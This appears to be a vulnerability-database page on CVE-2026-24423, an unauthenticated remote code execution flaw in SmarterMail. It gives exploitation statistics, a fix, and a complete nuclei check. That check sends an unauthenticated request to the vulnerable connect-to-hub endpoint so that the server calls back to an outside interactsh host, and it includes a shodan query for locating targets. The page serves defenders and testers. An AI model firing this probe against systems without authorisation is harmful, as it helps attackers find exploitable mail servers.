SmarterMail - Remote Code Execution

Exploited in the wild. Listed by CISA on 2026-02-05; known to be used by ransomware.

criticalseverity

9.8CVSS score

88.2%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

SmarterTools SmarterMail < build 9511 contains an unauthenticated remote code execution caused by malicious OS command execution via ConnectToHub API method, letting remote attackers execute arbitrary commands, exploit requires no authentication.

Impact

Remote attackers can execute arbitrary OS commands, potentially leading to full system compromise.

Fix

Update to build 9511 or later.

How to confirm it

Send: POST /api/v1/settings/sysadmin/connect-to-hub
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "setup-initial-connection"

Run it with nuclei: nuclei -id CVE-2026-24423 -u <target>

The full check

id: CVE-2026-24423

info:
  name: SmarterMail - Remote Code Execution
  author: jyoti369
  severity: critical
  description: |
    SmarterTools SmarterMail < build 9511 contains an unauthenticated remote code execution caused by malicious OS command execution via ConnectToHub API method, letting remote attackers execute arbitrary commands, exploit requires no authentication.
  impact: |
    Remote attackers can execute arbitrary OS commands, potentially leading to full system compromise.
  remediation: |
    Update to build 9511 or later.
  reference:
    - https://www.vulncheck.com/blog/smartermail-connecttohub-rce-cve-2026-24423
    - https://code-white.com/public-vulnerability-list/
    - https://www.smartertools.com/smartermail/release-notes/current
    - https://nvd.nist.gov/vuln/detail/CVE-2026-24423
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-24423
    epss-score: 0.88177
    epss-percentile: 0.9977
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"SmarterMail"
  tags: cve,cve2026,smartermail,rce,oast,kev,vkev

http:
  - raw:
      - |
        POST /api/v1/settings/sysadmin/connect-to-hub HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"hubAddress":"http://{{interactsh-url}}","oneTimePassword":"{{randstr}}","nodeName":"{{randstr}}"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "setup-initial-connection"

References

Use this check only on systems you are authorised to test. Where the data comes from